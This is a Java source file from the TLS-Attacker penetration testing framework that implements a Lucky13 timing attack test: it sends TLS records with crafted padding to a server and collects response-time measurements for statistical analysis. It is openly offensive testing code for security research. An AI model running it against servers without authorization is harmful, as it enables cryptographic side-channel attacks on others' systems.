/**
* TLS-Attacker - A Modular Penetration Testing Framework for TLS
*
* Copyright 2014-2016 Ruhr University Bochum / Hackmanit GmbH
*
* Licensed under Apache License 2.0
* http://www.apache.org/licenses/LICENSE-2.0
*/
package de.rub.nds.tlsattacker.attacks.impl;
import de.rub.nds.tlsattacker.attacks.config.Lucky13CommandConfig;
import de.rub.nds.tlsattacker.tls.Attacker;
import de.rub.nds.tlsattacker.modifiablevariable.VariableModification;
import de.rub.nds.tlsattacker.modifiablevariable.bytearray.ByteArrayModificationFactory;
import de.rub.nds.tlsattacker.modifiablevariable.bytearray.ModifiableByteArray;
import de.rub.nds.tlsattacker.tls.config.ConfigHandler;
import de.rub.nds.tlsattacker.tls.constants.ConnectionEnd;
import de.rub.nds.tlsattacker.tls.exceptions.ConfigurationException;
import de.rub.nds.tlsattacker.tls.exceptions.WorkflowExecutionException;
import de.rub.nds.tlsattacker.tls.protocol.alert.AlertMessage;
import de.rub.nds.tlsattacker.tls.protocol.application.ApplicationMessage;
import de.rub.nds.tlsattacker.tls.record.Record;
import de.rub.nds.tlsattacker.tls.util.LogLevel;
import de.rub.nds.tlsattacker.tls.workflow.TlsContext;
import de.rub.nds.tlsattacker.tls.workflow.WorkflowExecutor;
import de.rub.nds.tlsattacker.tls.workflow.WorkflowTrace;
import de.rub.nds.tlsattacker.transport.TransportHandler;
import de.rub.nds.tlsattacker.util.ArrayConverter;
import java.io.FileWriter;
import java.io.IOException;
import java.util.Collections;
import java.util.HashMap;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
/**
* Executes the Lucky13 attack test
*
* @author Juraj Somorovsky (juraj.somorovsky@rub.de)
*/
public class Lucky13Attack extends Attacker<Lucky13CommandConfig> {
private static final Logger LOGGER = LogManager.getLogger(Lucky13Attack.class);
private final Map<Integer, List<Long>> results;
private long lastResult;
public Lucky13Attack(Lucky13CommandConfig config) {
super(config);
results = new HashMap<>();
}
@Override
public void executeAttack(ConfigHandler configHandler) {
String[] paddingStrings = config.getPaddings().split(",");
int[] paddings = new int[paddingStrings.length];
for (int i = 0; i < paddingStrings.length; i++) {
paddings[i] = Integer.parseInt(paddingStrings[i]);
}
for (int i = 0; i < config.getMeasurements(); i++) {
LOGGER.log(LogLevel.CONSOLE_OUTPUT, "Starting round {}", i);
for (int p : paddings) {
Record record = createRecordWithPadding(p);
record.setMeasuringTiming(true);
executeAttackRound(configHandler, record);
if (results.get(p) == null) {
results.put(p, new LinkedList<Long>());
}
// remove the first 20% of measurements
if (i > config.getMeasurements() / 5) {
results.get(p).add(lastResult);
}
}
}
StringBuilder medians = new StringBuilder();
for (int padding : paddings) {
List<Long> rp = results.get(padding);
Collections.sort(rp);
LOGGER.log(LogLevel.CONSOLE_OUTPUT, "Padding: {}", padding);
long median = rp.get(rp.size() / 2);
LOGGER.log(LogLevel.CONSOLE_OUTPUT, "Median: {}", median);
medians.append(median).append(",");
}
LOGGER.log(LogLevel.CONSOLE_OUTPUT, "Medians: {}", medians);
if (config.getMonaFile() != null) {
StringBuilder commands = new StringBuilder();
for (int i = 0; i < paddings.length - 1; i++) {
for (int j = i + 1; j < paddings.length; j++) {
String fileName = config.getMonaFile() + "-" + paddings[i] + "-" + paddings[j];
String[] delimiters = { (";" + paddings[i] + ";"), (";" + paddings[j] + ";") };
createMonaFile(fileName, delimiters, results.get(paddings[i]), results.get(paddings[j]));
String command = "java -jar ReportingTool.jar --inputFile=" + fileName + " --name=lucky13-"
+ paddings[i] + "-" + paddings[j] + " --lowerBound=0.3 --upperBound=0.5";
LOGGER.log(LogLevel.CONSOLE_OUTPUT, "Run mona timing lib with: " + command);
commands.append(command);
commands.append(System.getProperty("line.separator"));
}
}
LOGGER.log(LogLevel.CONSOLE_OUTPUT, "All commands at once: \n{}", commands);
}
}
private void createMonaFile(String fileName, String[] delimiters, List<Long> result1, List<Long> result2) {
try (FileWriter fw = new FileWriter(fileName)) {
for (int i = 0; i < result1.size(); i++) {
fw.write(Integer.toString(i * 2));
fw.write(delimiters[0] + result1.get(i) + System.getProperty("line.separator"));
fw.write(Integer.toString(i * 2 + 1));
fw.write(delimiters[1] + result2.get(i) + System.getProperty("line.separator"));
}
} catch (IOException ex) {
LOGGER.error(ex);
}
}
public void executeAttackRound(ConfigHandler configHandler, Record record) {
TransportHandler transportHandler = configHandler.initializeTransportHandler(config);
TlsContext tlsContext = configHandler.initializeTlsContext(config);
WorkflowExecutor workflowExecutor = configHandler.initializeWorkflowExecutor(transportHandler, tlsContext);
WorkflowTrace trace = tlsContext.getWorkflowTrace();
ApplicationMessage applicationMessage = new ApplicationMessage(ConnectionEnd.CLIENT);
applicationMessage.addRecord(record);
AlertMessage allertMessage = new AlertMessage(ConnectionEnd.SERVER);
trace.getProtocolMessages().add(applicationMessage);
trace.getProtocolMessages().add(allertMessage);
try {
workflowExecutor.executeWorkflow();
} catch (WorkflowExecutionException ex) {
LOGGER.info("Not possible to finalize the defined workflow: {}", ex.getLocalizedMessage());
}
tlsContexts.add(tlsContext);
lastResult = transportHandler.getLastMeasurement();
transportHandler.closeConnection();
}
private Record createRecordWithPadding(int p) {
byte[] padding = createPaddingBytes(p);
int recordLength = config.getBlockSize() * config.getBlocks();
if (recordLength < padding.length) {
throw new ConfigurationException("Padding too large");
}
int messageSize = recordLength - padding.length;
byte[] message = new byte[messageSize];
byte[] plain = ArrayConverter.concatenate(message, padding);
return createRecordWithPlainData(plain);
}
private Record createRecordWithPlainData(byte[] plain) {
Record r = new Record();
ModifiableByteArray plainData = new ModifiableByteArray();
VariableModification<byte[]> modifier = ByteArrayModificationFactory.explicitValue(plain);
plainData.setModification(modifier);
r.setPlainRecordBytes(plainData);
return r;
}
private byte[] createPaddingBytes(int padding) {
byte[] paddingBytes = new byte[padding + 1];
for (int i = 0; i < paddingBytes.length; i++) {
paddingBytes[i] = (byte) padding;
}
return paddingBytes;
}
}